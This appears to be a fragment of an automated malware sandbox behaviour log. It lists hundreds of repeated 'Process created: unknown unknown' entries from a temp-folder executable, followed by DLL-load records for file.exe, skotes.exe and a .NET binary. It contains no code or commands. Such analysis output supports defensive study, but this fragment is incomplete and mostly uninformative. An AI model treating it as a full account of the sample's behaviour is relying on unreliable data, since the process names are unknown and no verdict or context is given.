Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: mscorjit.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: rsaenh.dll	Jump to behavior
